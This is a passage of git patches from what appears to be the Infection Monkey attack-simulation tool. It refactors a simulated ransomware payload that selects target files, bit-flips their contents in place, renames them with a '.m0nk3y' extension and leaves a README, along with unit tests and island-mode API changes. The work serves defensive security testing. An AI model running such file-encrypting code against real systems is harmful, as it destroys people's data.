00000000000..a3037e76a35 --- /dev/null +++ b/monkey/infection_monkey/ransomware/readme_utils.py @@ -0,0 +1,22 @@ +import logging +import shutil +from pathlib import Path + +LOG = logging.getLogger(__name__) + + +def leave_readme(src: Path, dest: Path): + if dest.exists(): + LOG.warning(f"{dest} already exists, not leaving a new README.txt") + return + + _copy_readme_file(src, dest) + + +def _copy_readme_file(src: Path, dest: Path): + LOG.info(f"Leaving a ransomware README file at {dest}") + + try: + shutil.copyfile(src, dest) + except Exception as ex: + LOG.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") diff --git a/monkey/tests/conftest.py b/monkey/tests/conftest.py index 23249016e79..23cc840a31e 100644 --- a/monkey/tests/conftest.py +++ b/monkey/tests/conftest.py @@ -10,4 +10,4 @@ @pytest.fixture(scope="session") def data_for_tests_dir(pytestconfig): - return os.path.join(pytestconfig.rootdir, "monkey", "tests", "data_for_tests") + return Path(os.path.join(pytestconfig.rootdir, "monkey", "tests", "data_for_tests")) diff --git a/monkey/tests/data_for_tests/test_readme.txt b/monkey/tests/data_for_tests/test_readme.txt new file mode 100644 index 00000000000..8ab686eafeb --- /dev/null +++ b/monkey/tests/data_for_tests/test_readme.txt @@ -0,0 +1 @@ +Hello, World! diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 2db9ecb4a93..ce6b7b08e76 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -1,6 +1,5 @@ import os -import shutil -from pathlib import Path, PurePosixPath +from pathlib import PurePosixPath from unittest.mock import MagicMock import pytest @@ -24,7 +23,12 @@ from tests.utils import hash_file, is_user_admin from infection_monkey.ransomware import ransomware_payload as ransomware_payload_module -from infection_monkey.ransomware.ransomware_payload import EXTENSION, README_DEST, RansomwarePayload +from infection_monkey.ransomware.ransomware_payload import ( + EXTENSION, + README_DEST, + README_SRC, + RansomwarePayload, +) def with_extension(filename): @@ -51,13 +55,18 @@ def ransomware_payload(build_ransomware_payload, ransomware_payload_config): @pytest.fixture -def build_ransomware_payload(telemetry_messenger_spy): +def build_ransomware_payload(telemetry_messenger_spy, mock_leave_readme): def inner(config): - return RansomwarePayload(config, telemetry_messenger_spy, shutil.copyfile) + return RansomwarePayload(config, mock_leave_readme, telemetry_messenger_spy) return inner +@pytest.fixture +def mock_leave_readme(): + return MagicMock() + + def test_env_variables_in_target_dir_resolved_linux( ransomware_payload_config, build_ransomware_payload, ransomware_target, patched_home_env ): @@ -215,49 +224,41 @@ def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_ assert "No such file or directory" in telem_1.get_data()["files"][0]["error"] -def test_readme_false(build_ransomware_payload, ransomware_payload_config, ransomware_target): +def test_readme_false( + build_ransomware_payload, ransomware_payload_config, mock_leave_readme, ransomware_target +): ransomware_payload_config["other_behaviors"]["readme"] = False ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() - assert not Path(ransomware_target / README_DEST).exists() + mock_leave_readme.assert_not_called() -def test_readme_true(build_ransomware_payload, ransomware_payload_config, ransomware_target): +def test_readme_true( + build_ransomware_payload, ransomware_payload_config, mock_leave_readme, ransomware_target +): ransomware_payload_config["other_behaviors"]["readme"] = True ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() - assert Path(ransomware_target / README_DEST).exists() - - -def test_readme_already_exists( - monkeypatch, ransomware_payload_config, telemetry_messenger_spy, ransomware_target -): - monkeypatch.setattr(ransomware_payload_module, "TARGETED_FILE_EXTENSIONS", set()), - mock_copy_file = MagicMock() - - ransomware_payload_config["other_behaviors"]["readme"] = True - Path(ransomware_target / README_DEST).touch() - RansomwarePayload( - ransomware_payload_config, telemetry_messenger_spy, mock_copy_file - ).run_payload() - - mock_copy_file.assert_not_called() + mock_leave_readme.assert_called_with(README_SRC, ransomware_target / README_DEST) def test_no_readme_if_no_directory( - monkeypatch, ransomware_payload_config, telemetry_messenger_spy, ransomware_target + monkeypatch, + ransomware_payload_config, + mock_leave_readme, + telemetry_messenger_spy, + ransomware_target, ): monkeypatch.setattr(ransomware_payload_module, "TARGETED_FILE_EXTENSIONS", set()), - mock_copy_file = MagicMock() ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" ransomware_payload_config["encryption"]["directories"]["windows_target_dir"] = "" ransomware_payload_config["other_behaviors"]["readme"] = True RansomwarePayload( - ransomware_payload_config, telemetry_messenger_spy, mock_copy_file + ransomware_payload_config, mock_leave_readme, telemetry_messenger_spy ).run_payload() - mock_copy_file.assert_not_called() + mock_leave_readme.assert_not_called() diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_utils.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_utils.py new file mode 100644 index 00000000000..a1edf8424d1 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_utils.py @@ -0,0 +1,32 @@ +import pytest +from tests.utils import hash_file + +from infection_monkey.ransomware.readme_utils import leave_readme + +DEST_FILE = "README.TXT" +README_HASH = "c98c24b677eff44860afea6f493bbaec5bb1c4cbb209c6fc2bbb47f66ff2ad31" +EMPTY_FILE_HASH = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + + +@pytest.fixture(scope="module") +def src_readme(data_for_tests_dir): + return data_for_tests_dir / "test_readme.txt" + + +@pytest.fixture +def dest_readme(tmp_path): + return tmp_path / DEST_FILE + + +def test_readme_already_exists(src_readme, dest_readme): + dest_readme.touch() + + leave_readme(src_readme, dest_readme) + + assert hash_file(dest_readme) == EMPTY_FILE_HASH + + +def test_leave_readme(src_readme, dest_readme): + leave_readme(src_readme, dest_readme) + + assert hash_file(dest_readme) == README_HASH From 81eba6e883e63968af66f2b568e024b0d8a1343f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 13 Jul 2021 19:22:42 -0400 Subject: [PATCH 1127/1360] Agent: Accept a "select_files" Callable --- monkey/infection_monkey/monkey.py | 10 +++- .../ransomware/file_selectors.py | 20 ++++--- .../ransomware/ransomware_payload.py | 10 +--- .../infection_monkey/ransomware/conftest.py | 8 ++- .../ransomware/test_file_selectors.py | 56 +++++++++++++++++++ .../ransomware/test_ransomware_payload.py | 26 ++++++--- 6 files changed, 103 insertions(+), 27 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index ca6976f9172..0dcbbcd17d6 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -6,6 +6,8 @@ import time from threading import Thread +from InfectionMonkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS + import infection_monkey.tunnel as tunnel from common.utils.attack_utils import ScanStatus, UsageEnum from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError @@ -19,7 +21,8 @@ from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.network.tools import get_interface_to_target, is_running_on_island from infection_monkey.post_breach.post_breach_handler import PostBreach -from infection_monkey.ransomware import readme_utils +from infection_monkey.ransomware import ransomware_payload, readme_utils +from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector from infection_monkey.ransomware.ransomware_payload import RansomwarePayload from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton @@ -476,9 +479,14 @@ def run_ransomware(): telemetry_messenger = LegacyTelemetryMessengerAdapter() batching_telemetry_messenger = BatchingTelemetryMessenger(telemetry_messenger) + targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy() + targeted_file_extensions.discard(ransomware_payload.EXTENSION) + file_selector = ProductionSafeTargetFileSelector(targeted_file_extensions) + try: RansomwarePayload( WormConfiguration.ransomware, + file_selector, readme_utils.leave_readme, batching_telemetry_messenger, ).run_payload() diff --git a/monkey/infection_monkey/ransomware/file_selectors.py b/monkey/infection_monkey/ransomware/file_selectors.py index f34bc9ca4e2..167c547e81f 100644 --- a/monkey/infection_monkey/ransomware/file_selectors.py +++ b/monkey/infection_monkey/ransomware/file_selectors.py @@ -10,12 +10,16 @@ ) -def select_production_safe_target_files(target_dir: Path, extensions: Set) -> List[Path]: - file_filters = [ - file_extension_filter(extensions), - is_not_shortcut_filter, - is_not_symlink_filter, - ] +class ProductionSafeTargetFileSelector: + def __init__(self, targeted_file_extensions: Set[str]): + self._targeted_file_extensions = targeted_file_extensions - all_files = get_all_regular_files_in_directory(target_dir) - return filter_files(all_files, file_filters) + def __call__(self, target_dir: Path) -> List[Path]: + file_filters = [ + file_extension_filter(self._targeted_file_extensions), + is_not_shortcut_filter, + is_not_symlink_filter, + ] + + all_files = get_all_regular_files_in_directory(target_dir) + return filter_files(all_files, file_filters) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index b8f0d88057e..7b3a9a42a40 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -5,8 +5,6 @@ from common.utils.file_utils import InvalidPath, expand_path from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor -from infection_monkey.ransomware.file_selectors import select_production_safe_target_files -from infection_monkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.utils.environment import is_windows_os @@ -24,6 +22,7 @@ class RansomwarePayload: def __init__( self, config: dict, + select_files: Callable[[Path], List[Path]], leave_readme: Callable[[Path, Path], None], telemetry_messenger: ITelemetryMessenger, ): @@ -34,10 +33,9 @@ def __init__( self._target_dir = RansomwarePayload.get_target_dir(config) self._new_file_extension = EXTENSION - self._targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy() - self._targeted_file_extensions.discard(self._new_file_extension) self._encryptor = BitflipEncryptor(chunk_size=CHUNK_SIZE) + self._select_files = select_files self._leave_readme = leave_readme self._telemetry_messenger = telemetry_messenger @@ -70,9 +68,7 @@ def run_payload(self): def _find_files(self) -> List[Path]: LOG.info(f"Collecting files in {self._target_dir}") - return sorted( - select_production_safe_target_files(self._target_dir, self._targeted_file_extensions) - ) + return sorted(self._select_files(self._target_dir)) def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]: LOG.info(f"Encrypting files in {self._target_dir}") diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py b/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py index a23751633b0..1e357c7989a 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py @@ -12,8 +12,12 @@ def patched_home_env(monkeypatch, tmp_path): @pytest.fixture -def ransomware_target(tmp_path, data_for_tests_dir): - ransomware_test_data = Path(data_for_tests_dir) / "ransomware_targets" +def ransomware_test_data(data_for_tests_dir): + return Path(data_for_tests_dir) / "ransomware_targets" + + +@pytest.fixture +def ransomware_target(tmp_path, ransomware_test_data): ransomware_target = tmp_path / "ransomware_target" shutil.copytree(ransomware_test_data, ransomware_target) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py new file mode 100644 index 00000000000..56421be3e8c --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py @@ -0,0 +1,56 @@ +import os + +import pytest +from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( + ALL_ZEROS_PDF, + HELLO_TXT, + SHORTCUT_LNK, + SUBDIR, + TEST_KEYBOARD_TXT, + TEST_LIB_DLL, +) +from tests.utils import is_user_admin + +from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector + +TARGETED_FILE_EXTENSIONS = [".pdf", ".txt"] + + +@pytest.fixture +def file_selector(): + return ProductionSafeTargetFileSelector(TARGETED_FILE_EXTENSIONS) + + +def test_select_targeted_files_only(ransomware_test_data, file_selector): + selected_files = file_selector(ransomware_test_data) + print(ransomware_test_data) + + assert len(selected_files) == 2 + assert (ransomware_test_data / ALL_ZEROS_PDF) in selected_files + assert (ransomware_test_data / TEST_KEYBOARD_TXT) in selected_files + + +def test_shortcut_not_selected(ransomware_test_data): + extensions = TARGETED_FILE_EXTENSIONS + [".lnk"] + file_selector = ProductionSafeTargetFileSelector(extensions) + + selected_files = file_selector(ransomware_test_data) + assert ransomware_test_data / SHORTCUT_LNK not in selected_files + + +@pytest.mark.skipif( + os.name == "nt" and not is_user_admin(), reason="Test requires admin rights on Windows" +) +def test_symlink_not_selected(ransomware_target, file_selector): + SYMLINK = "symlink.pdf" + link_path = ransomware_target / SYMLINK + link_path.symlink_to(ransomware_target / TEST_LIB_DLL) + + selected_files = file_selector(ransomware_target) + assert link_path not in selected_files + + +def test_directories_not_selected(ransomware_test_data, file_selector): + selected_files = file_selector(ransomware_test_data) + + assert (ransomware_test_data / SUBDIR / HELLO_TXT) not in selected_files diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index ce6b7b08e76..b3d9269affb 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -22,13 +22,14 @@ ) from tests.utils import hash_file, is_user_admin -from infection_monkey.ransomware import ransomware_payload as ransomware_payload_module +from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector from infection_monkey.ransomware.ransomware_payload import ( EXTENSION, README_DEST, README_SRC, RansomwarePayload, ) +from infection_monkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS def with_extension(filename): @@ -55,13 +56,20 @@ def ransomware_payload(build_ransomware_payload, ransomware_payload_config): @pytest.fixture -def build_ransomware_payload(telemetry_messenger_spy, mock_leave_readme): +def build_ransomware_payload(telemetry_messenger_spy, mock_file_selector, mock_leave_readme): def inner(config): - return RansomwarePayload(config, mock_leave_readme, telemetry_messenger_spy) + return RansomwarePayload( + config, mock_file_selector, mock_leave_readme, telemetry_messenger_spy + ) return inner +@pytest.fixture +def mock_file_selector(): + return ProductionSafeTargetFileSelector(TARGETED_FILE_EXTENSIONS) + + @pytest.fixture def mock_leave_readme(): return MagicMock() @@ -209,10 +217,12 @@ def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): assert telem_2.get_data()["files"][0]["error"] == "" -def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_spy): +def test_telemetry_failure( + monkeypatch, mock_file_selector, ransomware_payload, telemetry_messenger_spy +): monkeypatch.setattr( - ransomware_payload_module, - "select_production_safe_target_files", + ProductionSafeTargetFileSelector, + "__call__", lambda a, b: [PurePosixPath("/file/not/exist")], ), @@ -251,14 +261,12 @@ def test_no_readme_if_no_directory( telemetry_messenger_spy, ransomware_target, ): - monkeypatch.setattr(ransomware_payload_module, "TARGETED_FILE_EXTENSIONS", set()), - ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" ransomware_payload_config["encryption"]["directories"]["windows_target_dir"] = "" ransomware_payload_config["other_behaviors"]["readme"] = True RansomwarePayload( - ransomware_payload_config, mock_leave_readme, telemetry_messenger_spy + ransomware_payload_config, mock_file_selector, mock_leave_readme, telemetry_messenger_spy ).run_payload() mock_leave_readme.assert_not_called() From 56b5e8bb87455d335cc884b0b4aa1ea40fc15d16 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 14 Jul 2021 11:09:57 +0200 Subject: [PATCH 1128/1360] Tests: Remove post tests that interact with the model --- .../cc/resources/test_island_mode.py | 19 +++---------------- 1 file changed, 3 insertions(+), 16 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py index c06c6f62efd..f4fb8a79703 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py @@ -42,28 +42,15 @@ def test_island_mode_post__internal_server_error(monkeypatch, flask_client): assert resp.status_code == 500 -def test_island_mode_post__set_model(flask_client, uses_database): - flask_client.post( - "/api/island-mode", data=json.dumps({"mode": "ransomware"}), follow_redirects=True - ) - assert IslandMode.objects[0].mode == "ransomware" - - -def test_island_mode_post__set_invalid_model(flask_client, uses_database): - flask_client.post( - "/api/island-mode", data=json.dumps({"mode": "bogus mode"}), follow_redirects=True - ) - assert len(IslandMode.objects) == 0 - - @pytest.mark.parametrize("mode", ["ransomware", "advanced"]) -def test_island_mode_get(flask_client, uses_database, mode): +def test_island_mode_endpoint(flask_client, uses_database, mode): flask_client.post("/api/island-mode", data=json.dumps({"mode": mode}), follow_redirects=True) resp = flask_client.get("/api/island-mode", follow_redirects=True) + assert resp.status_code == 200 assert json.loads(resp.data)["mode"] == mode -def test_island_mode_get__invalid_mode(flask_client, uses_database): +def test_island_mode_endpoint__invalid_mode(flask_client, uses_database): flask_client.post( "/api/island-mode", data=json.dumps({"mode": "bogus_mode"}), follow_redirects=True ) From 2a1d41f6c7f1070caa07595bf1eff8dde1921b94 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 14 Jul 2021 12:40:08 +0200 Subject: [PATCH 1129/1360] Island: Add unset mode to get method in island mode --- monkey/monkey_island/cc/resources/island_mode.py | 7 ++++--- .../cc/services/mode/island_mode_service.py | 15 ++++++++++++--- .../cc/resources/test_island_mode.py | 7 ++++--- 3 files changed, 20 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py index 77e1e6953a5..7698fca9dac 100644 --- a/monkey/monkey_island/cc/resources/island_mode.py +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -5,7 +5,7 @@ from flask import make_response, request from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.mode.island_mode_service import get_mode, set_mode +from monkey_island.cc.services.mode.island_mode_service import ModeNotSetError, get_mode, set_mode from monkey_island.cc.services.mode.mode_enum import IslandModeEnum logger = logging.getLogger(__name__) @@ -32,5 +32,6 @@ def get(self): try: island_mode = get_mode() return make_response({"mode": island_mode}, 200) - except IndexError: - return make_response({}, 422) + + except ModeNotSetError: + return make_response({"mode": None}, 200) diff --git a/monkey/monkey_island/cc/services/mode/island_mode_service.py b/monkey/monkey_island/cc/services/mode/island_mode_service.py index e850c64a72d..b745ebef19e 100644 --- a/monkey/monkey_island/cc/services/mode/island_mode_service.py +++ b/monkey/monkey_island/cc/services/mode/island_mode_service.py @@ -8,6 +8,15 @@ def set_mode(mode: IslandModeEnum): island_mode_model.save() -def get_mode(): - mode = IslandMode.objects[0].mode - return mode +def get_mode() -> str: + if IslandMode.objects: + mode = IslandMode.objects[0].mode + return mode + else: + raise ModeNotSetError + + +class ModeNotSetError(Exception): + """ + Throw this exception when island mode is not set. + """ diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py index f4fb8a79703..823f9dad54d 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py @@ -51,8 +51,9 @@ def test_island_mode_endpoint(flask_client, uses_database, mode): def test_island_mode_endpoint__invalid_mode(flask_client, uses_database): - flask_client.post( + resp_post = flask_client.post( "/api/island-mode", data=json.dumps({"mode": "bogus_mode"}), follow_redirects=True ) - resp = flask_client.get("/api/island-mode", follow_redirects=True) - assert resp.status_code == 422 + resp_get = flask_client.get("/api/island-mode", follow_redirects=True) + assert resp_post.status_code == 422 + assert json.loads(resp_get.data)["mode"] is None From ce2ad813212a3f7e8ba6a3477558b9c10eb15008 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 07:14:49 -0400 Subject: [PATCH 1130/1360] Island: Replace concrete file selector with mock in ransomware tests --- .../ransomware/test_ransomware_payload.py | 32 ++++++++++--------- 1 file changed, 17 insertions(+), 15 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index b3d9269affb..5b62f322885 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -22,14 +22,12 @@ ) from tests.utils import hash_file, is_user_admin -from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector from infection_monkey.ransomware.ransomware_payload import ( EXTENSION, README_DEST, README_SRC, RansomwarePayload, ) -from infection_monkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS def with_extension(filename): @@ -56,7 +54,7 @@ def ransomware_payload(build_ransomware_payload, ransomware_payload_config): @pytest.fixture -def build_ransomware_payload(telemetry_messenger_spy, mock_file_selector, mock_leave_readme): +def build_ransomware_payload(mock_file_selector, mock_leave_readme, telemetry_messenger_spy): def inner(config): return RansomwarePayload( config, mock_file_selector, mock_leave_readme, telemetry_messenger_spy @@ -66,8 +64,15 @@ def inner(config): @pytest.fixture -def mock_file_selector(): - return ProductionSafeTargetFileSelector(TARGETED_FILE_EXTENSIONS) +def mock_file_selector(ransomware_target): + mock_file_selector.return_value = [ + ransomware_target / ALL_ZEROS_PDF, + ransomware_target / TEST_KEYBOARD_TXT, + ] + return MagicMock(return_value=mock_file_selector.return_value) + + +mock_file_selector.return_value = None @pytest.fixture @@ -76,7 +81,11 @@ def mock_leave_readme(): def test_env_variables_in_target_dir_resolved_linux( - ransomware_payload_config, build_ransomware_payload, ransomware_target, patched_home_env + ransomware_payload_config, + build_ransomware_payload, + ransomware_target, + patched_home_env, + mock_file_selector, ): path_with_env_variable = "$HOME/ransomware_target" @@ -87,10 +96,7 @@ def test_env_variables_in_target_dir_resolved_linux( ] = path_with_env_variable build_ransomware_payload(ransomware_payload_config).run_payload() - assert ( - hash_file(ransomware_target / with_extension(ALL_ZEROS_PDF)) - == ALL_ZEROS_PDF_ENCRYPTED_SHA256 - ) + mock_file_selector.assert_called_with(ransomware_target) def test_file_with_excluded_extension_not_encrypted(ransomware_target, ransomware_payload): @@ -220,11 +226,7 @@ def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): def test_telemetry_failure( monkeypatch, mock_file_selector, ransomware_payload, telemetry_messenger_spy ): - monkeypatch.setattr( - ProductionSafeTargetFileSelector, - "__call__", - lambda a, b: [PurePosixPath("/file/not/exist")], - ), + mock_file_selector.return_value = [PurePosixPath("/file/not/exist")] ransomware_payload.run_payload() telem_1 = telemetry_messenger_spy.telemetries[0] From 55ba5f530d497c7d78459847ef7b66113272d409 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 07:27:09 -0400 Subject: [PATCH 1131/1360] Agent: Add InPlaceEncryptor InPlaceEncryptor encrypts a file in place. It accepts a callable that performs the actual bit manipulation. This allows the in-place encryption functionality to be easily reused, while the actual encryption algorithm can be changed. --- .../ransomware/in_place_encryptor.py | 21 ++++++++ .../ransomware/test_in_place_encryptor.py | 49 +++++++++++++++++++ 2 files changed, 70 insertions(+) create mode 100644 monkey/infection_monkey/ransomware/in_place_encryptor.py create mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py diff --git a/monkey/infection_monkey/ransomware/in_place_encryptor.py b/monkey/infection_monkey/ransomware/in_place_encryptor.py new file mode 100644 index 00000000000..275945e9693 --- /dev/null +++ b/monkey/infection_monkey/ransomware/in_place_encryptor.py @@ -0,0 +1,21 @@ +from pathlib import Path +from typing import Callable + + +class InPlaceEncryptor: + def __init__(self, encrypt_bytes: Callable[[bytes], bytes], chunk_size: int = 64): + self._encrypt_bytes = encrypt_bytes + self._chunk_size = chunk_size + + def __call__(self, filepath: Path): + with open(filepath, "rb+") as f: + data = f.read(self._chunk_size) + while data: + num_bytes_read = len(data) + + encrypted_data = self._encrypt_bytes(data) + + f.seek(-num_bytes_read, 1) + f.write(encrypted_data) + + data = f.read(self._chunk_size) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py new file mode 100644 index 00000000000..f87302f19c9 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py @@ -0,0 +1,49 @@ +import os + +import pytest +from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( + ALL_ZEROS_PDF, + ALL_ZEROS_PDF_CLEARTEXT_SHA256, + ALL_ZEROS_PDF_ENCRYPTED_SHA256, + TEST_KEYBOARD_TXT, + TEST_KEYBOARD_TXT_CLEARTEXT_SHA256, + TEST_KEYBOARD_TXT_ENCRYPTED_SHA256, +) +from tests.utils import hash_file + +from infection_monkey.ransomware.in_place_encryptor import InPlaceEncryptor +from infection_monkey.utils.bit_manipulators import flip_bits + + +@pytest.fixture(scope="module") +def in_place_bitflip_encryptor(): + return InPlaceEncryptor(flip_bits, 64) + + +@pytest.mark.parametrize( + "file_name,cleartext_hash,encrypted_hash", + [ + (TEST_KEYBOARD_TXT, TEST_KEYBOARD_TXT_CLEARTEXT_SHA256, TEST_KEYBOARD_TXT_ENCRYPTED_SHA256), + (ALL_ZEROS_PDF, ALL_ZEROS_PDF_CLEARTEXT_SHA256, ALL_ZEROS_PDF_ENCRYPTED_SHA256), + ], +) +def test_file_encrypted( + in_place_bitflip_encryptor, ransomware_target, file_name, cleartext_hash, encrypted_hash +): + test_keyboard = ransomware_target / file_name + + assert hash_file(test_keyboard) == cleartext_hash + + in_place_bitflip_encryptor(test_keyboard) + + assert hash_file(test_keyboard) == encrypted_hash + + +def test_file_encrypted_in_place(in_place_bitflip_encryptor, ransomware_target): + test_keyboard = ransomware_target / TEST_KEYBOARD_TXT + + expected_inode = os.stat(test_keyboard).st_ino + in_place_bitflip_encryptor(test_keyboard) + actual_inode = os.stat(test_keyboard).st_ino + + assert expected_inode == actual_inode From 39171f0950821657b0729db8e00a582afb78f226 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 08:34:58 -0400 Subject: [PATCH 1132/1360] Agent: Add ability to rename file to InPlaceEncryptor --- .../ransomware/in_place_encryptor.py | 25 +++++++++++++++++- .../ransomware/test_in_place_encryptor.py | 26 ++++++++++++++++++- 2 files changed, 49 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/ransomware/in_place_encryptor.py b/monkey/infection_monkey/ransomware/in_place_encryptor.py index 275945e9693..beb3c151824 100644 --- a/monkey/infection_monkey/ransomware/in_place_encryptor.py +++ b/monkey/infection_monkey/ransomware/in_place_encryptor.py @@ -1,13 +1,32 @@ +import re from pathlib import Path from typing import Callable +FILE_EXTENSION_REGEX = re.compile(r"^\.[^\\/]+$") + class InPlaceEncryptor: - def __init__(self, encrypt_bytes: Callable[[bytes], bytes], chunk_size: int = 64): + def __init__( + self, + encrypt_bytes: Callable[[bytes], bytes], + new_file_extension: str = "", + chunk_size: int = 64, + ): self._encrypt_bytes = encrypt_bytes self._chunk_size = chunk_size + if new_file_extension and not FILE_EXTENSION_REGEX.match(new_file_extension): + raise ValueError(f'"{new_file_extension}" is not a valid file extension.') + + self._new_file_extension = new_file_extension + def __call__(self, filepath: Path): + self._encrypt_file(filepath) + + if self._new_file_extension: + self._add_extension(filepath) + + def _encrypt_file(self, filepath: Path): with open(filepath, "rb+") as f: data = f.read(self._chunk_size) while data: @@ -19,3 +38,7 @@ def __call__(self, filepath: Path): f.write(encrypted_data) data = f.read(self._chunk_size) + + def _add_extension(self, filepath: Path): + new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") + filepath.rename(new_filepath) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py index f87302f19c9..ab7f430281d 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py @@ -14,10 +14,22 @@ from infection_monkey.ransomware.in_place_encryptor import InPlaceEncryptor from infection_monkey.utils.bit_manipulators import flip_bits +EXTENSION = ".m0nk3y" + + +def with_extension(filename): + return f"{filename}{EXTENSION}" + @pytest.fixture(scope="module") def in_place_bitflip_encryptor(): - return InPlaceEncryptor(flip_bits, 64) + return InPlaceEncryptor(encrypt_bytes=flip_bits, chunk_size=64) + + +@pytest.mark.parametrize("invalid_extension", ["no_dot", ".has/slash", ".has\\slash"]) +def test_invalid_file_extension(invalid_extension): + with pytest.raises(ValueError): + InPlaceEncryptor(encrypt_bytes=None, new_file_extension=invalid_extension) @pytest.mark.parametrize( @@ -47,3 +59,15 @@ def test_file_encrypted_in_place(in_place_bitflip_encryptor, ransomware_target): actual_inode = os.stat(test_keyboard).st_ino assert expected_inode == actual_inode + + +def test_encrypted_file_has_new_extension(ransomware_target): + test_keyboard = ransomware_target / TEST_KEYBOARD_TXT + encrypted_test_keyboard = ransomware_target / with_extension(TEST_KEYBOARD_TXT) + encryptor = InPlaceEncryptor(encrypt_bytes=flip_bits, new_file_extension=EXTENSION) + 